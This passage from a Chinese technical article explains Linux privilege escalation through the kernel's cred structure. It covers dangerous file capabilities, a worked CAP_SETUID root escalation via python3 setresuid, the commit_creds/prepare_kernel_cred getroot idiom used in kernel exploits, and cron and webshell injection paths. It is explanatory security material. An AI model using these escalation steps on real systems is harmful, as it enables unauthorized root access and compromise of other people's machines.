10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">提权潜力</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">原因</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">CAP_SETUID</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">直接提权到 root</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">可以调用 </span><code><span leaf="">setresuid(0,0,0)</span></code><span leaf=""> 将自己变成 root</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">CAP_SETGID</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">直接提权</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">可以加入任何组，读取组权限保护的文件</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">CAP_DAC_OVERRIDE</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">读取任意文件</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">绕过所有文件权限检查（0x05 已详述）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">CAP_DAC_READ_SEARCH</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">读取任意文件</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">绕过文件读权限检查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">CAP_SYS_ADMIN</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">接近 root</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">被称为&#34;the new root&#34;，能做的事极多（mount、namespace、bpf...）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">CAP_SYS_PTRACE</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">进程注入</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">可以读写其他进程的内存，注入 shellcode</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">CAP_NET_RAW</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">网络嗅探</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">可以监听网络流量，抓取明文凭证</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">CAP_SETUID</span></code><span leaf=""> 为例：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 查找具有 file capabilities 的程序</span></span><br/><span style="color: #e6c07b;line-height: 26px;"><span leaf="">getcap</span></span><span leaf=""> -r / 2&gt;/dev/null</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 如果发现 python3 被赋予了 CAP_SETUID：</span></span><br/><span leaf="">/usr/bin/python3 = cap_setuid+ep</span></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">攻击流程：</span><br/><span leaf="">  攻击者 shell (uid=1000, euid=1000)</span><br/><span leaf="">    │</span><br/><span leaf="">    ├─ execve(&#34;/usr/bin/python3&#34;)</span><br/><span leaf="">    │    cap_bprm_creds_from_file() 读取 xattr security.capability</span><br/><span leaf="">    │    新 cred: cap_effective 包含 CAP_SETUID</span><br/><span leaf="">    │</span><br/><span leaf="">    ├─ python3 中执行：</span><br/><span leaf="">    │    import os</span><br/><span leaf="">    │    os.setresuid(0, 0, 0)   ← CAP_SETUID 允许这样做！</span><br/><span leaf="">    │</span><br/><span leaf="">    └─ cred 变为 uid=0, euid=0, suid=0, fsuid=0</span><br/><span leaf="">         → 完全提权到 root</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">cred 视角</span></strong><span leaf="">：File Capabilities 在 execve 时通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_bprm_creds_from_file()</span></code><span leaf=""> 写入新 cred 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_permitted</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_effective</span></code><span leaf="">。进程获得这些能力后，可以主动调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setresuid()</span></code><span leaf=""> 等系统调用来进一步修改自己的 cred。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">File Capabilities 的生效细节</span></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">file capabilities 存储在文件的 extended attribute </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">security.capability</span></code><span leaf=""> 中。</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">execve()</span></code><span leaf=""> 时，内核通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_bprm_creds_from_file()</span></code><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">security/commoncap.c</span></code><span leaf="">）读取该 xattr 并计算新凭证。新进程的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_permitted</span></code><span leaf=""> 按公式计算：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">pP&#39; = (bounding_set &amp; file_permitted) | (old_inheritable &amp; file_inheritable)</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">而 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_effective</span></code><span leaf=""> 是否等于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_permitted</span></code><span leaf="">，取决于 xattr 中的 </span><strong style="font-weight: bold;color: black;"><span leaf="">effective 标志位</span></strong><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">VFS_CAP_FLAGS_EFFECTIVE</span></code><span leaf="">，即 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">magic_etc</span></code><span leaf=""> 的 bit 0）：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">标志为 1 → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_effective = cap_permitted</span></code><span leaf="">（文件指定的全部 permitted caps 立即可用）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">标志为 0 → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_effective = cap_ambient</span></code><span leaf="">（仅保留 ambient caps）</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ping</span></code><span leaf=""> 为例：它的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">security.capability</span></code><span leaf=""> xattr 中 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_net_raw</span></code><span leaf=""> 在 permitted 集合内，且 effective 标志为 1，所以 execve 后 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_effective</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_permitted</span></code><span leaf=""> 都包含 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">CAP_NET_RAW</span></code><span leaf="">，ping 可以直接使用原始套接字。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">SUID 与 File Capabilities 同时存在的交互规则</span></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当一个文件同时设置了 SUID-root 和 file capabilities 时，内核的处理不是简单叠加（security/commoncap.c）：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">euid 设置</span></strong><span leaf="">：始终生效（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">bprm_fill_uid()</span></code><span leaf=""> 先于 caps 处理执行）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">file capabilities</span></strong><span leaf="">：始终会被读取并应用到 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cap_permitted</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">root 全权限 caps</span></strong><span leaf="">：对非 root 用户执行同时设有 SUID-root 和 file capabilities 的文件，内核</span><strong style="font-weight: bold;color: black;"><span leaf="">不叠加</span></strong><span leaf=""> root 的全权限 capabilities，只保留 file capabilities 指定的范围，并打印一次警告</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这意味着管理员如果给一个 SUID-root 程序额外设置了 file capabilities，反而可能</span><strong style="font-weight: bold;color: black;"><span leaf="">收窄</span></strong><span leaf="">其权限范围——一个安全上容易踩的坑。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">5. 内核漏洞——直接篡改 cred</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">前面四种方法都是在内核设计的规则内修改 cred——利用 SUID 位、sudo 授权、file capabilities 这些合法机制。内核漏洞则完全不同：它绕过所有规则，直接在内核空间篡改 cred 对象。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这是最强大也最底层的提权方式——不需要任何 SUID 程序、不需要 sudo 权限、不需要 file capabilities，只需要一个内核漏洞。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">经典手法经历了内核对抗的演进：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// Linux v6.2 之前的经典 getroot（已封堵）：</span></span><br/><span leaf="">commit_creds(prepare_kernel_cred(</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">));</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// prepare_kernel_cred(NULL) 曾会退化成复制 init_cred（全权 cred），</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 但 v6.2 起（commit 3d6f83df875c）传入 NULL 直接返回 NULL，不再奏效。</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 现代内核漏洞利用的替代手法（示意）：</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 方式一：以 init_task 为模板创建全权 cred</span></span><br/><span leaf="">commit_creds(prepare_kernel_cred(&amp;init_task));</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 方式二：直接覆写 current 的 cred 指针，指向预先构造好的 cred</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// （绕过 commit_creds 的安全检查）</span></span></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">攻击流程（概念性描述）：</span><br/><span leaf="">  攻击者 shell (uid=1000, euid=1000)</span><br/><span leaf="">    │</span><br/><span leaf="">    ├─ 触发内核漏洞（如越界写、UAF 等）</span><br/><span leaf="">    │    → 获得在内核态执行任意代码的能力</span><br/><span leaf="">    │</span><br/><span leaf="">    ├─ 在内核态执行：</span><br/><span leaf="">    │    commit_creds(prepare_kernel_cred(&amp;init_task));</span><br/><span leaf="">    │    // 为当前进程创建全权 cred 并替换</span><br/><span leaf="">    │</span><br/><span leaf="">    └─ 攻击者的 shell 进程 cred 变为：</span><br/><span leaf="">         uid=0, euid=0, suid=0, fsuid=0</span><br/><span leaf="">         cap_effective = 全部 capability</span><br/><span leaf="">         → 完全提权到 root</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">cred 视角</span></strong><span leaf="">：内核漏洞让攻击者获得了在内核态执行代码的能力。此时 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">current</span></code><span leaf=""> 指向攻击者控制的进程，攻击者直接调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">commit_creds()</span></code><span leaf=""> 或覆写 cred 指针，让进程的 cred 变成全权状态。之前 0x04 中讲的 COW、引用计数、slab 分配等机制在这里全部失效——因为攻击者的代码运行在内核态，拥有对所有内核内存的访问权。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">6. 其他常见路径</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">除了上述四类主要手法，还有一些间接路径——它们的共同特点是：不需要修改 cred，只需要让一个已经持有高权限 cred 的进程执行攻击者的代码。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">定时任务（Cron）</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 查看系统定时任务</span></span><br/><span leaf="">cat /etc/crontab</span><br/><span leaf="">ls -la /etc/cron.d/</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 如果某个 root 的定时任务执行了攻击者可写的脚本</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 那个脚本就会以 root 的 cred 运行</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">cred 视角</span></strong><span leaf="">：cron 守护进程以 root 身份运行，执行任务时 fork + exec，子进程继承 root 的 cred（uid=0, euid=0）。攻击者不需要修改 cred，只需要让一个已经持有 root cred 的进程执行自己的代码。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">服务配置不当</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf=""># 某些服务以 root 运行，但有 Web 接口或配置文件可被低权限用户修改</span><br/><span leaf=""># 例如：Web 应用以 root 运行，存在文件写入漏洞</span><br/><span leaf=""># 攻击者写入 PHP/Python webshell</span><br/><span leaf=""># Web 服务器进程已有 root cred，webshell 自然继承</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">cred 视角</span></strong><span leaf="">：与定时任务相同——进程已经持有了高权限 cred，攻击者只需要找到一种方式影响它的行为，让它执行攻击者的代码。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">7. 小结</span></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">攻击手法</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">cred 如何变化</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">前提条件</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">SUID 程序利用</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">execve 时内核设 </span><code><span leaf="">euid=0</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">找到可利用的 SUID-root 程序</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">sudo 配置不当</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">sudo 调用 </span><code><span leaf="">setresuid(0,0,0)</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">sudoers 中有过于宽松的规则</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Capabilities 利用</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">execve 时内核添加 </span><code><span leaf="">cap_effective</span></code><span leaf=""> 位</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">找到有危险 capability（如 CAP_SETUID）的程序</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">内核漏洞</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">直接调用 </span><code><span leaf="">commit_creds()</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">存在可利用的内核漏洞</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">定时任务/服务</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">无需改 cred，进程已有高权限 cred</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">找到可注入的 root 任务或服务</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">所有提权手法归结到同一底层模型：让当前进程拿到更强的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code></strong></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x09 总结</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span 